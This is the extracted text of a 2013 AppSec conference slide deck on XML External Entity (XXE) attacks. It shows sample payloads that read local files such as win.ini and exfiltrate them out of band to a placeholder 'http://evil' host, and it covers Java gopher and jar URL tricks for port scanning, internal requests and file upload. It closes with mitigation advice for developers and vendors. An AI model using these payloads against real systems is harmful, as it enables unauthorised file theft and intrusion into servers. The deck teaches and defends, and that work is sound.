

What You Didn't Know About XML External Entities Attacks

Timothy D. Morgan







- Application pentesting for nearly 9 years
- Enjoys vulnerability research
 - Always learning/developing new techniques
 - Loves to collaborate on research
 - Current areas: XXE, Application Cryptanalysis, IPv6
- OWASP chapter leader in Portland, Oregon (we're always looking for speakers)



About Me



• XML is extremely pervasive

APPSEC USA 2013

– Document formats (OOXML, ODF, PDF, RSS, …)

XML Entrenchment

- Image formats (SVG, EXIF Headers, ...)
- Configuration files (you name it)
- Networking Protocols (WebDAV, CalDAV, XMLRPC, SOAP, REST, XMPP, SAML, XACML, ...)
- Any security issue that affects XML, potentially affects <u>a lot</u> of software





- Entities are a feature defined in DTDs
 - DTDs a legacy carry-over from SGML
 - Allow for macro-like text and XML substitution

XML Entities

- <u>External</u> entities are used to include other documents
- Entities are well-known source of attacks
 Miles Sabin on xml-dev (June 8, 2002)
 - Gregory Steuck on Bugtraq (October 29, 2002)






- Arbitrary URL Invocation
 - CSRF-like Attacks
- DoS attacks abound
 - Recursive entity definition ("billion laughs attack")
 - DDoS against third parties via HTTP/FTP
- Data theft via "external" entities
 - Point entity to local file or internal HTTP resource
 - Include entity inline in document
 - Application exposes the XML contents later





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Data Theft: Typical Scenario





Read win.ini and store it in your user's profile:

```
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE updateProfile [
    <!ENTITY file SYSTEM "file:///c:/windows/win.ini">
]]>
<updateProfile>
    <firstname>Joe</firstname
    <lastname>&file;</lastname>
    ...
```

</updateProfile>





 Retrieved document must be well-formed XML – No binary (must be UTF-8/16 data)

Inline Retrieval:

imitations

- In text, no stray '&', '<' or '>'
- XML files can be embedded, but often not usable
- Requires that the application gives data back





- Pentesters: "Data retrieval is impractical" – New research has made it more practical
- Vendors: "Developers can just turn off external entities"

– Few developers even know that they are at risk

Misconceptions

 Vendors: "Parser resource limits will stop DoS" — Completely ignores URL-oriented attacks





. . .

Just like regular entities, but only for DTDs

<!DOCTYPE updateProfile [<!ENTITY % moresyntax "<!ENTITY foo 'dynamic'>"> %moresyntax;]]>

Parameter Entities

...
<lastname>&foo;</lastname>





. . .

Wouldn't be nice if we could do this?

```
<!DOCTYPE updateProfile [
    <!ENTITY file SYSTEM "file:///has/broken/xml">
    <!ENTITY start "<![CDATA[">
    <!ENTITY end "]]>">
]]>
...
...
<lastname>&start;&file;&end;</lastname>
```

Doesn't work this way... =(

Inline with CDATA





But with parameter entities, we can pull it off:

```
<!DOCTYPE updateProfile [
    <!ENTITY % file SYSTEM "file:///has/broken/xml">
    <!ENTITY % start "<![CDATA[">
    <!ENTITY % end "]]>">
    <!ENTITY % end "]]>">
    <!ENTITY % dtd SYSTEM "http://evil/join.dtd">
%dtd;
]]>
... <lastname>&all;</lastname> ...
```

Here, the join.dtd file contains:

<!ENTITY all "%start;%file;%end;">





- XML-related restrictions persist
 - Still no binary (must be UTF-8/16 data)
 - Some XML chars still cause problems, but well-formed XML files now readable as text

DTD Inline Retrieval:

imitations

- Requires that the application gives data back
- Requires "phone home" access





- Wait... If we can build entity tags dynamically, why can't we build dynamic entity URLs?
 - We can!
 - First described by Osipov and Yunusov at Blackhat EU 2013





Grab the file and send it all in the DTD:

```
<!DOCTYPE updateProfile [
    <!ENTITY % file SYSTEM "file:///path/to/goodies">
        <!ENTITY % dtd SYSTEM "http://evil/send.dtd">
    %dtd;
%send;
]]>
...
```

Here, the send.dtd file contains:

```
<!ENTITY % all
"<!ENTITY % send SYSTEM 'http://evil/?%file;'>"
>
%all;
```





- The up side
 - No application interaction
 - Data theft before schema validation
- Character Limitations
 - Still no binary (must be UTF-8/16 data)
 - Either ' or '' will cause an error
 - # will cause URL truncation
- Requires "phone home" access



OOB Retrieval:

Advantages/Limitations



- Don't underestimate the humble URL
- Many platforms/parsers support a surprising variety of URL schemes/protocols

Power of URLs

- Many protocols can be used in unintended ways
- Usable <u>without external entity support</u>





Those enabled by default:

libxml2	PHP	Java	.NET
file http ftp	file http ftp php compress.zlib compress.bzip2 data glob phar	http https ftp file jar netdoc mailto gopher *	file http https ftp

* Removed circa September 2012





• file://... handler gives directory listings

Java Idiosyncracies

- Older versions of Java allow arbitrary data to be sent over TCP via gopher://...
- The jar://... handler can be used to:
 Peek inside any ZIP file
 Upload files (!)





- gopher://{host}:{port}/{type}{request}
 - Any host, any TCP port
 - type is a single digit integer
 - request can be <u>any binary data</u>, percent-encoded

Playing with Java's

Gopher

- Perfect for:
 - CSRF-like attacks on internal services
 - Port scanning
 - Exploiting secondary network vulnerabilities





- Disabled in Oracle JDK, September 2012
 - Thanks to:

"SSRF vs. Business-critical applications: XXE tunneling in SAP" -- Alexander Polyakov, Blackhat 2012

Gopher Limitations

– Supported in 1.7u7, 1.6u32 and earlier

- Requests are single-shot; no handshakes
- Limited retrieval of responses





- jar:{url}!{path}
 - url is any supported URL type (except jar)
 - path is the location within the zip file to fetch

A Jar of Fun

- Can be used to pull files from: – jar/war/ear, docx, xlsx, ...
- DoS attacks
 - Decompression bomb anyone?
 - Fill up temporary space





- How does Java handle remote Jars?
 - Download jar/zip to temporary file
 - Parse headers, extract specific file requested

Jar Uploading

- Delete the temporary file
- Can we find this temp file?
 Of course! We have directory listings





• Temp file is only there for what, a second?

Winning the Jar Race

- It's there as long as the download takes...
- …and we control the download rate!
- Attack process:
 - Force a jar URL to be fetched
 - Push almost all of the content immediately
 - Stall the rest of the download indefinitely
 - Use directory listings to locate the file





We can upload arbitrary file content

 Not just zip files

Jar Upload Notes

- We can't control:
 - Location of the file
 - Any part of the name or extension






RCE SCENARIO

Attacking Tomcat

- A slightly older public web application
 - Runs under Tomcat 6 and Oracle JRE 1.7u7
 - Tomcat admin interface restricted to internal
- Load balancer used to handle SSL/TLS
- Public web app vulnerable to an XXE flaw
 - "Inline" entity inclusion usable
 - TCP egress permitted













How can we pwn this server?

DEMO TIME

































- Power of XXE comes from synergy:
 - Combining multiple XXE techniques
 - Combining XXE with other flaws
- XML is complex and changing
 - New techniques still being discovered
 - New capabilities, thanks to new standards



XXE: A Collection of

Techniques



- Know your XML library
 - XML features
 - URL capabilities
- Turn off as much as you can
 - Hopefully: external entities, DTDs, and network

Developer

Recommendations

- Mitigate the rest
 - Pre-parsing input validation
 - Block network egress





- Long-term fix comes only from you
- "Off by default" policy for all XML features
 - <u>Inline</u> DTD parsing off by default
 - External entities off by default
 - Entities off by default
 - Configurable <u>whitelist</u> of allowed protocols that is highly restricted by default

Vendor

Recommendations





Never assume developers understand XML
 <u>Well</u> document potentially dangerous features

More Vendor

Recommendations

- "... but ... but it's a standard!"
 - Most dangerous features are <u>optional already</u>
 - Encourage better security warnings to vendors in W3C documents
 - Make "off by default" part of the standards





- Thanks to:
 - Omar Al Ibrahim & VSR
 - AppSec USA Organizers
- Watch for an upcoming XXE paper
 - http://www.vsecurity.com/
 - Follow me: @ecbftw



Fin